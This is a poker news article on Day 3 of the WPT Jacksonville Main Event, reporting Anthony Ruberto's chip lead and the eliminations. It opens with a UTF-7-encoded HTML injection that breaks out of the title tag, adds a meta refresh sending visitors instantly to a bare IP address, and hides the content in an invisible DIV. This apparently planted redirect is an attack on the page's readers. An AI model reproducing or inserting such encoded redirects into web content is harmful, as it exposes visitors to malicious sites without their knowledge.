+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Day 3 of the World Poker Tour (WPT) Jacksonville Main Event is now in the books, and Anthony Ruberto has emerged as the final table’s chip leader. A field that began with 393 hopeful runners was whittled down to just 42 by the time Day 3 began, though only the top 40 spots were eligible for money prizes.

As players took to the tables in the morning, Vitor Coelho held a massive chip lead over his closest rivals, including Allie Prescott, Sam Soverel, Darryll Fish, Connor Drinnan and Alex Venovski. Jacob Naquin and Deshun Boone started with the shortest stacks, and were quickly eliminated just shy of the cash. The room let out a cheer combined with a sigh of relief as the 40 remaining runners knew they’d be taking home at least $7,510 each.

The rail received a number of talented players early on, including Corey Burbick, Brandon Steven, Nick Grippo, Mike Beasley and Dan Buzgon. After the eliminations of Allie Prescott and Brian Hawkins, only 17 runners remained to play down to a final table following the dinner break.

Ben Zamani hit the rail next, followed closely by fan-favorite Dwyte Pilgrim. Pilgrim liked his chances with K-Q, but couldn’t hold on against the J-J of Coelho who improved to trips on the flop.

Ruberto went on a tear at this point, ejected Connor Drinnan, Doug Raney and Barry Wiedemann to bring the field down to just 10 players. Ruberto was also responsible for the elimination of Chris Tryba, leaving only 9.

Lisa Hamilton then took her turn in the executioner’s role, knocking out Michael Messick with K-K over 10-10.

Ruberto has a 2 million chip lead over the Coelho in second place. Of the final six players, expect short stack runners Artie Rodriguez and Darryll Fish to be eliminated first on Day 4. Hamilton and Sam Soverel still have fighting chances with stacks not far behind Coelho’s.